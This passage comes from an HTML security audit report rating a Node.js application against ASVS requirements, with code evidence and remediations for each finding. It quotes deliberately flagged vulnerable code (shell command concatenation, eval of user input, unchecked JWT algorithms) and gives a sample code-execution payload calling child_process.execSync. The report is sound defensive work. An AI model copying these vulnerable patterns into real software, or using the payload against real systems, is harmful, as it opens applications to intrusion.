      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/routes/reports.js:84–90</span>
const filename = req.query.filename;        <span class="note">// user-supplied, no validation</span>
<span class="bad">exec('convert ' + filename + ' output.pdf', (err, stdout) =&gt; {</span>
<span class="note">  // fix: execFile('convert', [filename, 'output.pdf']) — args as array, not string</span>
  res.send(stdout);
});</pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Replace <code>exec()</code> with <code>execFile('convert', [filename, 'output.pdf'])</code>. Validate <code>filename</code> against an allowlist of permitted characters (alphanumeric + dots) before use.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V1.3.2" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V1.3.2</div><div class="card-section-label-sm">V1 · Encoding → V1.3 Sanitization</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that the application avoids the use of eval() or other dynamic code execution features. Where there is no alternative, any user input being included must be sanitized before being executed.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning"><code>eval()</code> is called with a user-supplied formula string from <code>req.body.formula</code> with no sanitization. Full server-side RCE is possible — an attacker can call <code>require('child_process').execSync('id')</code>.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/utils/calculator.js:28–36</span>
const formula = req.body.formula;           <span class="note">// user-supplied</span>
<span class="bad">return eval(formula);</span>                       <span class="note">// RCE — no sandbox, no allowlist</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Replace <code>eval()</code> with a safe math expression parser such as <code>mathjs</code> or <code>expr-eval</code>. These only permit arithmetic operations and cannot access Node.js internals.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V2.1.1" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V2.1.1</div><div class="card-section-label-sm">V2 · Validation → V2.1 Validation Documentation</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that the application's documentation defines input validation rules for how to check the validity of data items against an expected structure.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Joi schemas exist in code but there is no documentation describing the validation contract — what fields are accepted, in what format, and why. Without documentation, the schema cannot be audited or maintained as requirements evolve.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/validators/userValidator.js — Joi schemas present but undocumented</span>
<span class="note">$ find . -name 'security.md' -o -name 'validation.md' | grep -v node_modules</span>
<span class="note">(no output — documentation file does not exist)</span>
<span class="note">README.md covers only setup; no validation rules documented</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Create <code>docs/validation.md</code> documenting each validated field: accepted format, constraints, and the threat it mitigates. This document should be kept in sync with the Joi schemas.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V5.2.2" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V5.2.2</div><div class="card-section-label-sm">V5 · File Handling → V5.2 File Upload and Content</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that when the application accepts a file it checks if the file extension matches an expected file extension and validates that the contents correspond to the type represented by the extension.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Only the file extension is checked against an allowlist. No magic-bytes validation or content inspection is performed. An attacker can upload a PHP webshell renamed to <code>shell.jpg</code> that would bypass the extension check.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/middleware/upload.js:20–26</span>
fileFilter: (req, file, cb) =&gt; {
  const ext = path.extname(file.originalname).slice(1).toLowerCase();
  <span class="ok">  if (!['jpg','png','pdf'].includes(ext)) return cb(new Error('Bad ext'));</span>
  <span class="bad">  cb(null, true);  // accepted based on extension only — no content check</span>
}
<span class="note">// package.json: no 'file-type', 'mmmagic', or 'sharp' dependency present</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Add the <code>file-type</code> npm package to read the first 4–12 bytes and verify the magic signature matches the declared extension before accepting the file.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V6.2.4" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V6.2.4</div><div class="card-section-label-sm">V6 · Authentication → V6.2 Password Security</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that passwords submitted during account registration or password change are checked against an available set of, at least, the top 3000 passwords which match the application's password policy.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Only minimum length (12 chars) and a complexity regex are validated. No common-password blocklist check is present. A user can register with "Password123456" which satisfies both checks but is trivially guessable in a credential-stuffing attack.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/validators/authValidator.js:6–15</span>
const passwordSchema = Joi.string()
  .min(12)
  .pattern(/^(?=.*[A-Z])(?=.*[0-9])/)
  .required();
<span class="note">// No blocklist import, no zxcvbn call, no HIBP lookup</span>
<span class="note">// package.json — no 'zxcvbn', 'common-password-rules', or 'hibp' dependency</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Add <code>zxcvbn</code> and reject passwords with score &lt; 3, or ship a local blocklist of the top 10k common passwords and reject matches at registration and password change.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V7.3.1" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V7.3.1</div><div class="card-section-label-sm">V7 · Sessions → V7.3 Session Timeout</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that there is an inactivity timeout such that re-authentication is enforced according to risk analysis and documented security decisions.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">JWT tokens have a 30-day absolute expiry with no inactivity tracking. A stolen token remains valid for the full window regardless of user activity. No sliding-window refresh, last-active table, or idle timeout exists. The 30-day duration is also not documented or risk-justified.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/services/authService.js:43–48</span>
const token = jwt.sign(
  { userId: user.id, jti: uuidv4() },
  JWT_SECRET,
<span class="bad">  { expiresIn: '30d' }   // no idle timeout; stolen token valid for 30 days</span>
);
<span class="note">// No last_active column in schema, no token revocation table</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Issue short-lived access tokens (15 min) with a refresh token that tracks <code>last_used</code>. Expire refresh tokens after 30 minutes of inactivity. Alternatively, store <code>last_active</code> server-side and reject tokens exceeding the idle threshold.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V8.1.1" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V8.1.1</div><div class="card-section-label-sm">V8 · Authorization → V8.1 Authorization Documentation</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that authorization documentation defines rules for restricting function-level and data-specific access based on consumer permissions and resource attributes.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Role names (<code>admin</code>, <code>user</code>, <code>moderator</code>) are referenced in middleware code but no documentation defines what each role can access. Without a documented authorization matrix, permission boundaries cannot be audited and gaps like the V8.2.1 finding go undetected.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/middleware/authorize.js:5</span>
module.exports = (roles) =&gt; (req, res, next) =&gt; {
  if (!roles.includes(req.user.role)) return res.status(403)...
<span class="note">// Roles exist: 'admin', 'user', 'moderator' — found across route files</span>
<span class="note">$ find . -name 'authorization.md' -o -name 'roles.md' | grep -v node_modules</span>
<span class="note">(no output — no authorization documentation found)</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Create <code>docs/authorization.md</code> with a role-permission matrix listing every endpoint, required role, and data-level restrictions. Keep it updated when routes or roles change.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V8.2.1" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V8.2.1</div><div class="card-section-label-sm">V8 · Authorization → V8.2 General Authorization Design</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that the application ensures that function-level access is restricted to consumers with explicit permissions.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">The <code>DELETE /admin/users/:id</code> endpoint is protected by <code>authMiddleware</code> (validates JWT) but is missing <code>authorize(['admin'])</code>. Any authenticated user can delete any other account. All sibling admin routes correctly apply the role check.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/routes/admin.js:8–20</span>
<span class="ok">router.get('/users',     authMiddleware, authorize(['admin']), listUsers);</span>
<span class="ok">router.patch('/users/:id', authMiddleware, authorize(['admin']), updateUser);</span>
<span class="bad">router.delete('/users/:id', authMiddleware, deleteUser);</span>
<span class="note">// ^^^ authorize(['admin']) missing — privilege escalation for any authenticated user</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Add the missing middleware: <code>router.delete('/users/:id', authMiddleware, authorize(['admin']), deleteUser)</code>.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V9.1.2" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V9.1.2</div><div class="card-section-label-sm">V9 · Self-contained Tokens → V9.1 Token source and integrity</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that only algorithms on an allowlist can be used to create and verify self-contained tokens… must not include the 'None' algorithm.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning"><code>jwt.verify()</code> is called without an <code>algorithms</code> option, accepting any algorithm declared in the token header including <code>alg: "none"</code>. An attacker can forge a token with no signature and bypass authentication.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/middleware/auth.js:23</span>
<span class="bad">const decoded = jwt.verify(token, JWT_SECRET);</span>
<span class="note">// no algorithms option → accepts alg:none and algorithm confusion attacks</span>
<span class="ok">// fix: jwt.verify(token, JWT_SECRET, { algorithms: ['HS256'] })</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Pass <code>{ algorithms: ['HS256'] }</code> as the third argument to <code>jwt.verify()</code>. This rejects any token that specifies a different or missing algorithm.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V11.2.2" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V11.2.2</div><div class="card-section-label-sm">V11 · Cryptography → V11.2 Secure Cryptography Implementation</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that the application is designed with crypto agility such that algorithms, key lengths, rounds, ciphers and modes can be reconfigured, upgraded, or swapped at any time.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">The cipher algorithm <code>'aes-256-gcm'</code> is hardcoded as a string literal in both the encrypt and decrypt functions. Migrating to a stronger cipher (or post-quantum equivalent) requires touching multiple files with no central toggle.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/utils/crypto.js:15 and 44</span>
<span class="bad">crypto.createCipheriv('aes-256-gcm', key, iv)</span>    <span class="note">// hardcoded</span>
<span class="bad">crypto.createDecipheriv('aes-256-gcm', key, iv)</span>  <span class="note">// repeated</span>
<span class="note">// No CRYPTO_ALGORITHM config value or abstraction</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Extract algorithm, key length, and IV size into a central config object (e.g. <code>config/crypto.js</code>). All cipher calls read from this single source, making algorithm rotation a one-line config change.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V13.2.1" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V13.2.1</div><div class="card-section-label-sm">V13 · Configuration → V13.2 Backend Communication Configuration</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that communications between backend application components are authenticated using individual service accounts, short-term tokens, or certificate-based authentication — not unchanging credentials such as passwords, API keys, or shared accounts.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Internal calls to the reporting microservice use a static <code>INTERNAL_API_KEY</code> environment variable. The key never rotates and is shared across all service instances — a single leak grants permanent access to the reporting service.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/services/reportingService.js:12</span>
<span class="bad">headers: { 'X-Internal-Key': process.env.INTERNAL_API_KEY }</span>
<span class="note">// .env.example: INTERNAL_API_KEY=changeme — static, no rotation</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Replace with short-lived JWT service tokens (5-min expiry) signed by a dedicated internal key, issued at request time. Or use mTLS between services.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V14.2.1" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V14.2.1</div><div class="card-section-label-sm">V14 · Data Protection → V14.2 General Data Protection</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that sensitive data is only sent to the server in the HTTP message body or header fields, and that the URL and query string do not contain sensitive information, such as an API key or session token.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">The webhook endpoint accepts the HMAC signature as a <code>?sig=</code> query parameter. This causes the secret to appear in nginx access logs, application logs, browser history, and any Referer headers sent to third-party resources on the page.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/routes/webhooks.js:21–24</span>
<span class="bad">router.get('/webhook', (req, res) =&gt; {</span>
<span class="bad">  const sig = req.query.sig;</span>
<span class="note">  // GET /webhook?sig=abc123 is recorded verbatim in nginx access_log</span></pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Change to <code>POST</code> and read the signature from an HTTP header: <code>X-Webhook-Signature</code>. Headers are not logged by default and are not stored in browser history.</div>
    </div>
  </div>

  <div class="evidence-card ev-nc" id="card-V16.2.1" data-status="NON_COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V16.2.1</div><div class="card-section-label-sm">V16 · Logging → V16.2 General Logging</div></div>
      <div class="card-badges"><span class="level-badge level-2">L2</span><span class="status-badge status-NON_COMPLIANT"><span class="dot dot-NON_COMPLIANT"></span>NON_COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that each log entry includes necessary metadata (such as when, where, who, what) that would allow for a detailed investigation of the timeline when an event happens.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Most log calls include only a message string. The <em>who</em> (user ID) and <em>where</em> (endpoint, source IP, request ID) are absent. Correlating an incident to a specific user or session is not possible with the current structure.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/routes/orders.js:67</span>
<span class="bad">logger.info('Order created');</span>           <span class="note">// no userId, orderId, or IP</span>
<span class="ok">// should be: logger.info({ event: 'order_created', orderId, userId: req.user.id, ip: req.ip })</span>

<span class="file-path">src/utils/logger.js:10–14  — Winston config</span>
format: winston.format.combine(
  winston.format.timestamp(),
  <span class="note">  // no requestId, userId, or endpoint fields in format</span>
  winston.format.json()
)</pre>
      <div class="card-label">Remediation</div>
      <div class="remediation-box">Add a request-context middleware using <code>cls-hooked</code> or <code>AsyncLocalStorage</code> to automatically attach <code>requestId</code>, <code>userId</code>, and <code>ip</code> to every log entry. Audit all <code>logger.*</code> calls to include structured event metadata.</div>
    </div>
  </div>

</div><!-- end NON_COMPLIANT evidence -->

<hr class="section-divider">

<!-- ═══════════════════ COMPLIANT EVIDENCE ═══════════════════ -->
<div class="evidence-group" id="ev-co">
  <div class="evidence-group-heading ev-compliant">Compliant Controls — Proof of Compliance <span class="badge-count co">20</span></div>

  <div class="evidence-card ev-co" id="card-V1.2.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V1.2.1</div><div class="card-section-label-sm">V1 · Encoding → V1.2 Injection Prevention</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that output encoding for an HTTP response, HTML document, or XML document is relevant for the context required, such as encoding the relevant characters for HTML elements, HTML attributes, HTML comments, CSS, or HTTP header fields.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Handlebars template engine is used throughout with auto-escaping enabled by default. All template variables use double-brace syntax <code>{{var}}</code> which HTML-encodes output. No unescaped triple-brace <code>{{{}}}</code> syntax was found in any template file.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/app.js:31</span>
<span class="ok">app.engine('hbs', handlebars.engine({ defaultLayout: 'main' }));</span>
<span class="note">// Handlebars auto-escapes HTML by default</span>

<span class="file-path">src/views/user-profile.hbs:12</span>
<span class="ok">&lt;h2&gt;{{user.name}}&lt;/h2&gt;</span>       <span class="note">// double-brace → HTML-encoded</span>
<span class="note">// grep for '{{{' across all .hbs files returned no results</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V1.2.4" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V1.2.4</div><div class="card-section-label-sm">V1 · Encoding → V1.2 Injection Prevention</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that data selection or database queries use parameterized queries, ORMs, entity frameworks, or are otherwise protected from SQL Injection and other database injection attacks.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Sequelize ORM is used for all database operations. Every query uses the ORM's <code>where</code>-clause object syntax, which parameterizes values automatically. No raw SQL string concatenation was found anywhere in the codebase.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/models/User.js:23</span>
<span class="ok">User.findOne({ where: { email } });</span>         <span class="note">// ORM — parameterized</span>

<span class="file-path">src/models/Order.js:67</span>
<span class="ok">Order.findAll({ where: { userId: req.user.id } });</span>

<span class="note">// grep for 'query\|raw\|SELECT.*+' across src/ found no raw SQL concatenation</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V5.2.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V5.2.1</div><div class="card-section-label-sm">V5 · File Handling → V5.2 File Upload and Content</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that the application will only accept files of a size which it can process without causing a loss of performance or a denial of service attack.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Multer is configured with a 10MB file size limit applied before any file bytes are written to disk. Exceeding the limit returns HTTP 413 immediately.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/middleware/upload.js:13–17</span>
const upload = multer({
<span class="ok">  limits: { fileSize: 10 * 1024 * 1024 },</span>   <span class="note">// 10 MB hard cap</span>
  storage: multer.diskStorage({ ... })
});</pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V6.1.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V6.1.1</div><div class="card-section-label-sm">V6 · Authentication → V6.1 Authentication Documentation</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that application documentation defines how controls such as rate limiting, anti-automation, and adaptive response are used to defend against attacks such as credential stuffing and password brute force.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning"><code>docs/security.md</code> documents the rate-limiting strategy: 5 failed login attempts per 15-minute window, IP throttled rather than account locked (to prevent DoS). The documentation matches the actual implementation.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">docs/security.md:12–16</span>
<span class="ok">"Login endpoint rate limited to 5 attempts per 15 minutes using</span>
<span class="ok"> express-rate-limit. Account is NOT locked to prevent DoS;</span>
<span class="ok"> source IP is throttled instead."</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V6.2.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V6.2.1</div><div class="card-section-label-sm">V6 · Authentication → V6.2 Password Security</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that user set passwords are at least 8 characters in length although a minimum of 15 characters is strongly recommended.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Minimum password length is set to 12 characters in the Joi schema, exceeding the required minimum of 8. The same schema is applied at both registration and password change.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/validators/authValidator.js:8</span>
<span class="ok">password: Joi.string().min(12).required()</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V6.2.2" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V6.2.2</div><div class="card-section-label-sm">V6 · Authentication → V6.2 Password Security</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that users can change their password.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">A dedicated <code>PATCH /auth/password</code> endpoint exists, gated behind <code>authMiddleware</code>, and is accessible to all authenticated users.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/routes/auth.js:156</span>
<span class="ok">router.patch('/password', authMiddleware, changePasswordController);</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V6.2.3" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V6.2.3</div><div class="card-section-label-sm">V6 · Authentication → V6.2 Password Security</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that password change functionality requires the user's current and new password.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">The password change controller verifies <code>currentPassword</code> against the stored bcrypt hash before accepting the new password. The change is rejected with HTTP 401 if verification fails.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/controllers/authController.js:84–88</span>
<span class="ok">const valid = await bcrypt.compare(req.body.currentPassword, user.passwordHash);</span>
<span class="ok">if (!valid) return res.status(401).json({ error: 'Current password incorrect' });</span>
user.passwordHash = await bcrypt.hash(req.body.newPassword, 12);
await user.save();</pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V6.3.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V6.3.1</div><div class="card-section-label-sm">V6 · Authentication → V6.3 General Authentication Security</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that controls to prevent attacks such as credential stuffing and password brute force are implemented according to the application's security documentation.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning"><code>express-rate-limit</code> is applied to the login endpoint matching the documented 5-per-15-min policy exactly. The middleware is correctly positioned before the controller.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/middleware/rateLimiter.js:1–5</span>
<span class="ok">const loginLimiter = rateLimit({ windowMs: 15 * 60 * 1000, max: 5 });</span>

<span class="file-path">src/routes/auth.js:12</span>
<span class="ok">router.post('/login', loginLimiter, loginController);</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V6.3.2" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V6.3.2</div><div class="card-section-label-sm">V6 · Authentication → V6.3 General Authentication Security</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that default user accounts (e.g., "root", "admin", or "sa") are not present in the application or are disabled.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">Seed files create only named accounts with email-based identifiers. No <code>admin</code>, <code>root</code>, or <code>sa</code> account exists in seed data or any fixture file.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/seeds/users.js — all seed accounts</span>
<span class="ok">{ email: 'alice@example.com', role: 'user' }</span>
<span class="ok">{ email: 'bob@example.com',   role: 'moderator' }</span>
<span class="note">// grep for 'admin\|root\|sa@' across seeds/ and fixtures/ returned no results</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V7.2.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V7.2.1</div><div class="card-section-label-sm">V7 · Session Management → V7.2 Fundamental Session Management Security</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that the application performs all session token verification using a trusted, backend service.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">JWT verification is performed exclusively in server-side <code>authMiddleware</code> using <code>jwt.verify()</code>. No client-supplied role or identity claim is trusted without first passing through this middleware.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/middleware/auth.js:23–27</span>
<span class="ok">const decoded = jwt.verify(token, JWT_SECRET);</span>
<span class="ok">req.user = decoded;</span>   <span class="note">// identity set only after server-side verification</span>
next();</pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V7.2.2" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V7.2.2</div><div class="card-section-label-sm">V7 · Session Management → V7.2 Fundamental Session Management Security</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that the application uses either self-contained or reference tokens that are dynamically generated for session management, i.e. not using static API secrets and keys.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">JWTs are issued dynamically at login with a unique <code>jti</code> (UUID) and <code>iat</code> per token. Each session produces a different token value; no static session key is reused.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/services/authService.js:43–48</span>
<span class="ok">jwt.sign({ userId: user.id, jti: uuidv4(), iat: Date.now() }, JWT_SECRET, { expiresIn: '30d' });</span>
<span class="note">// jti is unique per token — not a static key</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V8.3.1" data-status="COMPLIANT">
    <div class="card-header">
      <div><div class="card-req-id">V8.3.1</div><div class="card-section-label-sm">V8 · Authorization → V8.3 Operation Level Authorization</div></div>
      <div class="card-badges"><span class="level-badge level-1">L1</span><span class="status-badge status-COMPLIANT"><span class="dot dot-COMPLIANT"></span>COMPLIANT</span></div>
    </div>
    <div class="card-body">
      <div class="card-req-text">Verify that the application enforces authorization rules at a trusted service layer and doesn't rely on controls that an untrusted consumer could manipulate, such as client-side JavaScript.</div>
      <div class="card-label">Reasoning</div>
      <div class="card-reasoning">All authorization checks are enforced in server-side <code>authorize.js</code> middleware that reads the role from the verified JWT payload. No route reads a role from <code>req.body</code> or query parameters.</div>
      <div class="card-label">Evidence</div>
      <pre class="evidence-block"><span class="file-path">src/middleware/authorize.js:10–14</span>
<span class="ok">const role = req.user.role;</span>   <span class="note">// from verified JWT — not from request body</span>
<span class="ok">if (!allowedRoles.includes(role)) return res.status(403).end();</span>
<span class="note">// grep for 'req.body.role\|req.query.role' returned no results</span></pre>
    </div>
  </div>

  <div class="evidence-card ev-co" id="card-V9.1.1" data-status="COMPLIANT">
    <div class="card-header">
